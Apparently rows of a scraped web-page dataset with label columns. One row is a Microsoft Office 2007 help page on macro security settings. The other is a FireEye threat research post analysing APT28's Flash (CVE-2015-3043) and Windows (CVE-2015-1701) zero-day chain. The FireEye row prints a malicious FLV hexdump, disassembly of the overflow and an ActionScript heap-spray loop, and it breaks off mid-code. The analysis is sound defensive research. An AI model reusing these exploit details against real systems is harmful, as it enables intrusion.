disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. Disable all macros except digitally signed macros\xc2 This setting is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Enable all macros (not recommended, potentially dangerous code can run)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Top of Page Excel Click the Microsoft Office Button , and then click Excel Options. Click Trust Center, click Trust Center Settings, and then click Macro Settings. Click the options that you want: Disable all macros without notification\xc2 Click this option if you don't trust macros. All macros in documents and security alerts about macros are disabled. If there are documents with unsigned macros that you do trust, you can put those documents into a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Disable all macros with notification\xc2 This is the default setting. Click this option if you want macros to be disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. Disable all macros except digitally signed macros\xc2 This setting is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Enable all macros (not recommended, potentially dangerous code can run)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Trust access to the VBA project object model\xc2 \xc2 \xc2 \xc2 This setting is for developers and is used to deliberately lock out or allow programmatic access to the VBA object model from any Automation client. In other words, it provides a security option for code that is written to automate an Office program and programmatically manipulate the Microsoft Visual Basic for Applications (VBA) environment and object model. This is a per user and per application setting, and denies access by default. This security option makes it more difficult for unauthorized programs to build ""self-replicating"" code that can harm end-user systems. For any Automation client to be able to access the VBA object model programmatically, the user running the code must explicitly grant access. To turn on access, select the check box. Tip:\xc2 You can open the macro security settings dialog box from the Developer tab in the Ribbon, which is part of the Microsoft Office Fluent user interface. If the Developer tab is not available, click the Microsoft Office Button , and then click Excel Options. Click Popular, and then select the Show Developer tab in the Ribbon check box. Top of Page Outlook On the Tools menu, click Trust Center. Click Macro Settings. Click the options that you want: No warnings and disable all macros\xc2 Click this option if you don't trust macros. All macros and security alerts about macros are disabled. Warnings for signed macros; all unsigned macros are disabled\xc2 This is the default setting and is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Warnings for all macros\xc2 Click this option if you want macros to be disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. No security check for macros (Not recommended)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Top of Page PowerPoint Click the Microsoft Office Button , and then click PowerPoint Options. Click Trust Center, click Trust Center Settings, and then click Macro Settings. Click the options that you want: Disable all macros without notification\xc2 Click this option if you don't trust macros. All macros in documents and security alerts about macros are disabled. If there are documents with unsigned macros that you do trust, you can put those documents into a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Disable all macros with notification\xc2 This is the default setting. Click this option if you want macros to be disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. Disable all macros except digitally signed macros\xc2 This setting is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Enable all macros (not recommended, potentially dangerous code can run)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Trust access to the VBA project object model\xc2 \xc2 \xc2 \xc2 This setting is for developers and is used to deliberately lock out or allow programmatic access to the VBA object model from any Automation client. In other words, it provides a security option for code that is written to automate an Office program and programmatically manipulate the Microsoft Visual Basic for Applications (VBA) environment and object model. This is a per user and per application setting, and denies access by default. This security option makes it more difficult for unauthorized programs to build ""self-replicating"" code that can harm end-user systems. For any Automation client to be able to access the VBA object model programmatically, the user running the code must explicitly grant access. To turn on access, select the check box. Tip:\xc2 You can open the macro security settings dialog box from the Developer tab in the Ribbon, which is part of the Microsoft Office Fluent user interface. If the Developer tab is not available, click the Microsoft Office Button , and then click PowerPoint Options. Click Popular, and then select the Show Developer tab in the Ribbon check box. Top of Page Publisher On the Tools menu, click Trust Center. Click Macro Settings. Click the options that you want: Disable all macros without notification\xc2 Click this option if you don't trust macros. All macros in documents and security alerts about macros are disabled. If there are documents with unsigned macros that you do trust, you can put those documents into a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Disable all macros with notification\xc2 This is the default setting. Click this option if you want macros to be disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. Disable all macros except digitally signed macros\xc2 This setting is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Enable all macros (not recommended, potentially dangerous code can run)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Trust access to the VBA project object model\xc2 \xc2 \xc2 \xc2 This setting is for developers and is used to deliberately lock out or allow programmatic access to the VBA object model from any Automation client. In other words, it provides a security option for code that is written to automate an Office program and programmatically manipulate the Microsoft Visual Basic for Applications (VBA) environment and object model. This is a per user and per application setting, and denies access by default. This security option makes it more difficult for unauthorized programs to build ""self-replicating"" code that can harm end-user systems. For any Automation client to be able to access the VBA object model programmatically, the user running the code must explicitly grant access. To turn on access, select the check box. Top of Page Visio On the Tools menu, click Trust Center. Click Macro Settings. Click the options that you want: Disable all macros without notification\xc2 Click this option if you don't trust macros. All macros in documents and security alerts about macros are disabled. If there are documents with unsigned macros that you do trust, you can put those documents into a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Disable all macros with notification\xc2 This is the default setting. Click this option if you want macros to be disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. Disable all macros except digitally signed macros\xc2 This setting is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Enable all macros (not recommended, potentially dangerous code can run)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Trust access to the VBA project object model\xc2 \xc2 \xc2 \xc2 This setting is for developers and is used to deliberately lock out or allow programmatic access to the VBA object model from any Automation client. In other words, it provides a security option for code that is written to automate an Office program and programmatically manipulate the Microsoft Visual Basic for Applications (VBA) environment and object model. This is a per user and per application setting, and denies access by default. This security option makes it more difficult for unauthorized programs to build ""self-replicating"" code that can harm end-user systems. For any Automation client to be able to access the VBA object model programmatically, the user running the code must explicitly grant access. To turn on access, select the check box. Top of Page Word Click the Microsoft Office Button , and then click Word Options. Click Trust Center, click Trust Center Settings, and then click Macro Settings. Click the options that you want: Disable all macros without notification\xc2 Click this option if you don't trust macros. All macros in documents and security alerts about macros are disabled. If there are documents with unsigned macros that you do trust, you can put those documents into a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Disable all macros with notification\xc2 This is the default setting. Click this option if you want macros to be disabled, but you want to get security alerts if there are macros present. This way, you can choose when to enable those macros on a case by case basis. Disable all macros except digitally signed macros\xc2 This setting is the same as the Disable all macros with notification option, except that if the macro is digitally signed by a trusted publisher, the macro can run if you have already trusted the publisher. If you have not trusted the publisher, you are notified. That way, you can choose to enable those signed macros or trust the publisher. All unsigned macros are disabled without notification. Enable all macros (not recommended, potentially dangerous code can run)\xc2 Click this option to allow all macros to run. This setting makes your computer vulnerable to potentially malicious code and is not recommended. Trust access to the VBA project object model\xc2 \xc2 \xc2 \xc2 This setting is for developers and is used to deliberately lock out or allow programmatic access to the VBA object model from any Automation client. In other words, it provides a security option for code that is written to automate an Office program and programmatically manipulate the Microsoft Visual Basic for Applications (VBA) environment and object model. This is a per user and per application setting, and denies access by default. This security option makes it more difficult for unauthorized programs to build ""self-replicating"" code that can harm end-user systems. For any Automation client to be able to access the VBA object model programmatically, the user running the code must explicitly grant access. To turn on access, select the check box. Tip:\xc2 You can open the macro security settings dialog box from the Developer tab in the Ribbon, which is part of the Microsoft Office Fluent user interface. If the Developer tab is not available, click the Microsoft Office Button , and then click Word Options. Click Popular, and then select the Show Developer tab in the Ribbon check box. Top of Page How can the Trust Center help protect me from unsafe macros? Before enabling a macro in a document, the Trust Center checks for the following information: The macro is signed by the developer with a digital signature. The digital signature is valid. This digital signature is current (not expired). The certificate associated with the digital signature was issued by a reputable certificate authority (CA). The developer who signed the macro is a trusted publisher. If the Trust Center detects a problem with any of these, the macro is disabled by default, and the Message Bar appears to notify you of a potentially unsafe macro. To enable the macro click Options on the Message Bar, a security dialog box opens. See the next section for information about making decisions about macros and security. Note:\xc2 In Microsoft Office Outlook 2007 and Microsoft Office Publisher 2007, security alerts appear in dialog boxes, not in the Message Bar. Top of Page A security warning asks if I want to enable or disable a macro. What should I do? When the Securty Options dialog appears, you can enable the macro or leave it disabled. You should enable the macro if you are sure it is from a trustworthy source. Important:\xc2 If you are sure the document and macro are from a trustworthy source and have a valid signature, and you do not want to be notified about them again, instead of changing the default Trust Center settings to a less safe macro security setting, you can click Trust all documents from this publisher in the security dialog box. This adds the publisher to your Trusted Publishers list in the Trust Center. All software from that publisher is trusted. In the case where the macro doesn't have a valid signature, but you trust it and don't want to be notified again, instead of changing the default Trust Center settings to a less safe macro security setting, it is better to move the document to a Add, remove, or change a trusted location. Documents in trusted locations are allowed to run without being checked by the Trust Center security system. Depending on the situation, the security dialog box describes the specific problem. The following table lists the possible problems and offers advice on what you should or should not do in each case. Problem Advice Macro is not signed\xc2 \xc2 \xc2 \xc2 Because the macro is not digitally signed, the identity of the macro publisher cannot be verified. Therefore, it is not possible to determine if the macro is safe or not. Before you enable unsigned macros, make sure the macro is from a trustworthy source. You can still work in your document even though you don't enable the macro. Macro signature is not trusted\xc2 \xc2 \xc2 \xc2 The macro is potentially unsafe, because the macro has been digitally signed, the signature is valid, and you have not chosen to trust the publisher who signed the macro. You can explicitly trust the macro publisher by clicking Trust all documents from this publisher in the security dialog box. This option appears only if the signature is valid. Clicking this option adds the publisher to your Trusted Publishers list in the Trust Center. Macro signature is invalid\xc2 \xc2 \xc2 \xc2 The macro is potentially unsafe, because the macro has been digitally signed and the signature is invalid. We recommend that you don't enable macros with invalid signatures. One possible reason the signature is invalid is that it has been tampered with. For more information, see How to tell if a digital signature is trustworthy. Macro signature has expired\xc2 \xc2 \xc2 \xc2 The macro is potentially unsafe, because the macro has been digitally signed and the signature has expired. Before enabling macros with expired signatures, make sure the macro is from a trustworthy source. If you have used this document in the past without any security issues, there is potentially less risk to enabling the macro. See Also Change macro security settings in Excel Expand your Office skills Explore training Get new features first Join Office Insiders Was this information helpful? Yes No Great! Any other feedback? How can we improve it? Send No thanks Thank you for your feedback! Thank you for your feedback! It sounds like it might be helpful to connect you to one of our Office support agents. Contact Support \xc3\x97 What's new Surface Pro 6 Surface Laptop 2 Surface Go Xbox One X Xbox One S VR & mixed reality Windows 10 apps Office apps Microsoft Store Account profile Download Center Microsoft Store support Returns Order tracking Store locations Buy online, pick up in store Education Microsoft in education Office for students Office 365 for schools Deals for students & parents Microsoft Azure in education Enterprise Azure AppSource Automotive Government Healthcare Manufacturing Financial services Retail Developer Microsoft Visual Studio Windows Dev Center Developer Network TechNet Microsoft developer program Channel 9 Office Dev Center Microsoft Garage Company Careers About Microsoft Company news Privacy at Microsoft Investors Diversity and inclusion Accessibility Security English (United States) Contact Us Privacy & Cookies Terms of use & sale Trademarks Office accessibility Legal \xc2\xa9 Microsoft 2019","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia\xe2\x80\x99s APT28 in Highly-Targeted Attack | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Operation RussianDoll: Adobe & Windows Zero-Day Ex... Threat Research Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia\xe2\x80\x99s APT28 in Highly-Targeted Attack April 18, 2015 | by Fireeye Labs FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06. Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity. Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous. We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043. The Microsoft Security Team is working on a fix for CVE-2015-1701. Exploit Overview The high level flow of the exploit is as follows: 1.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 User clicks link to attacker controlled website 2.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 HTML/JS launcher page serves Flash exploit 3.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Flash exploit triggers CVE-2015-3043, executes shellcode 4.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Shellcode downloads and runs executable payload 5.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Executable payload exploits local privilege escalation (CVE-2015-1701) to steal System token The Flash exploit is served from unobfuscated HTML/JS. The launcher page picks one of two Flash files to deliver depending upon the target\xe2\x80\x99s platform (Windows 32 versus 64bits). The Flash exploit is mostly unobfuscated with only some light variable name mangling. The attackers relied heavily on the CVE-2014-0515 Metasploit module, which is well documented. It is ROPless, and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API. The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges. It uses the vulnerability to run code from userspace in the context of the kernel, which modifies the attacker\xe2\x80\x99s process token to have the same privileges as that of the System process. CVE-2015-3043 Exploit The primary difference between the CVE-2014-0515 metasploit module and this exploit is, obviously, the vulnerability. CVE-2014-0515 exploits a vulnerability in Flash\xe2\x80\x99s Shader processing, whereas CVE-2015-3043 exploits a vulnerability in Flash\xe2\x80\x99s FLV processing. The culprit FLV file is embedded within AS3 in two chunks, and is reassembled at runtime. Vulnerability A buffer overflow vulnerability exists in Adobe Flash Player (<=17.0.0.134) when parsing malformed FLV objects. Attackers exploiting the vulnerability can corrupt memory and gain remote code execution. In the exploit, the attacker embeds the FLV object directly in the ActionScript code, and plays the video using NetStream class. In memory, it looks like the following: 0000000: 46 4c 56 01 05 00 00 00 09 00 00 00 00 12 00 00\xc2 FLV............. 0000010: f4 00 00 00 00 00 00 00 02 00 0a 6f 6e 4d 65 74\xc2 ...........onMet 0000020: 61 44 61 74 61 08 00 00 00 0b 00 08 64 75 72 61\xc2 aData.......dura 0000030: 74 69 6f 6e 00 40 47 ca 3d 70 a3 d7 0a 00 05 77\xc2 tion.@G.=p.....w 0000040: 69 64 74 68 00 40 74 00 00 00 00 00 00 00 06 68\xc2 idth.@t........h 0000050: 65 69 67 68 74 00 40 6e 00 00 00 00 00 00 00 0d\xc2 eight.@n........ 0000060: 76 69 64 65 6f 64 61 74 61 72 61 74 65 00 00 00\xc2 videodatarate... \xe2\x80\xa6.. 0003b20: 27 6e ee 72 87 1b 47 f7 41 a0 00 00 00 3a 1b 08\xc2 'n.r..G.A....:.. 0003b30: 00 04 41 00 00 0f 00 00 00 00 68 ee ee ee ee ee\xc2 ..A.......h..... 0003b40: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee\xc2 ................ 0003b50: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee\xc2 ................ 0003b60: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee\xc2 ................ Files of the FLV file format contain a sequence of Tag structures. In Flash, these objects are created when parsing FLV Tags: .text:1018ACE9 sub_1018ACE9\xc2 \xc2 \xc2 proc near\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ; CODE XREF: sub_1018BBAC+2Bp .text:1018ACE9\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ; sub_10192797+1A1p ... .text:1018ACE9 .text:1018ACE9 arg_0\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 = dword ptr\xc2 4 .text:1018ACE9 .text:1018ACE9\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 eax, ecx .text:1018ACEB\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 ecx, [esp+arg_0] .text:1018ACEF\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 dword ptr [eax], offset off_10BA771C .text:1018ACF5\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 dword ptr [eax+24h], 1 .text:1018ACFC\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 and\xc2 \xc2 \xc2 \xc2 dword ptr [eax+14h], 0 .text:1018AD00\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 [eax+28h], ecx .text:1018AD03\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 byte ptr [eax+20h], 0 .text:1018AD07\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 retn\xc2 \xc2 \xc2 4 .text:1018AD07 sub_1018ACE9\xc2 \xc2 \xc2 endp In the case of this exploit, a Tag structure begins at offset 0x3b2f into the FLV stream that, when parsed, populates the Tag structure as follows: Tag 2: UINT_8 type: 8 UINT_24 datasize: 1089 UINT_24 timestamp: 15 UINT_8 timestamphi: 0 UINT_24 streamid: 0 UINT_4 fmt: 6 UINT_2 sr: 2 UINT_1 bits: 0 UINT_1 channels: 0 UBYTE data[1088]: \\xee\\xee\\xee\\xee\xe2\x80\xa6 UINT_32 lastsize: 0xeeeeeeee Beginning within the data field, all contents of the FLV stream become 0xEE. Consequently, the data and lastsize fields are mangled, and one final tag technically exists consisting exclusively of 0xEE: Tag 3: UINT_8 type: 0xEE UINT_24 datasize: 0xEEEEEE \xe2\x80\xa6 One can see the datasize field of Tag2 populated from the attacker's FLV stream below: .text:10192943\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 eax, [ebx+24h] .text:10192946\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 [esi+14h], eax .text:10192949\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 movzx\xc2 \xc2 eax, byte ptr [ebx+19h] ; 00 .text:1019294D\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 movzx\xc2 \xc2 ecx, byte ptr [ebx+1Ah] ; 04 .text:10192951\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 shl\xc2 \xc2 \xc2 \xc2 eax, 8 .text:10192954\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 or\xc2 \xc2 \xc2 \xc2 \xc2 eax, ecx .text:10192956\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 movzx\xc2 \xc2 ecx, byte ptr [ebx+1Bh] ; 41 .text:1019295A\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 shl\xc2 \xc2 \xc2 \xc2 eax, 8 .text:1019295D\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 or\xc2 \xc2 \xc2 \xc2 \xc2 eax, ecx .text:1019295F\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 ecx, ebx .text:10192961\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 [esi+0Ch], eax\xc2 ; 0x441 .text:10192964\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 call\xc2 \xc2 \xc2 sub_1002E2B3 The buffer is allocated with fixed size 0x2000: .text:101A647E\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 push\xc2 \xc2 \xc2 2000h .text:101A6483\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 ecx, esi .text:101A6485\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 call\xc2 \xc2 \xc2 sub_101A6257\xc2 \xc2 \xc2 ; alloc 0x2000 buffer, store in esi+0xDC \xe2\x80\xa6\xe2\x80\xa6 .text:101A627F\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 push\xc2 \xc2 \xc2 0 .text:101A6281\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 push\xc2 \xc2 \xc2 edi\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ; 0x2000 .text:101A6282\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 call\xc2 \xc2 \xc2 sub_105EBEB0 .text:101A6287\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 pop\xc2 \xc2 \xc2 \xc2 ecx .text:101A6288\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 pop\xc2 \xc2 \xc2 \xc2 ecx .text:101A6289\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 mov\xc2 \xc2 \xc2 \xc2 [esi+0DCh], eax Since the size is controlled by the attacker, it\xe2\x80\x99s possible to overflow the fixed size buffer with certain data. A datasize of 0x441 results in a value here of 0x1100 passed to sub_100F88F8, which memcopies 0x2200 bytes in 0x11 chunks of 0x200. The last memcpy overflows the fixed size 0x2000 buffer into a adjacent heap memory. Attackers spray the heap with array of Vector, 0x7fe * 4 + 8 == 0x2000, and create holes of such size, which will be allocated by the said object. \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 while (_local_2 < this._bp35) // _bp35 == 0x2000 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 { \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 this._ok47[_local_2] = new Vector.(this._lb60); // _lb60 == 0x07FE \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 _local_3 = 0x00; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 while (_local_3 < this._lb60) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 { \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 this._ok47[_local_2][_local_3] = 0x41414141; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 _local_3++; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 }; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 _local_2 = (_local_2 + 0x01); \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 }; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 _local_2 = 0x00; \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 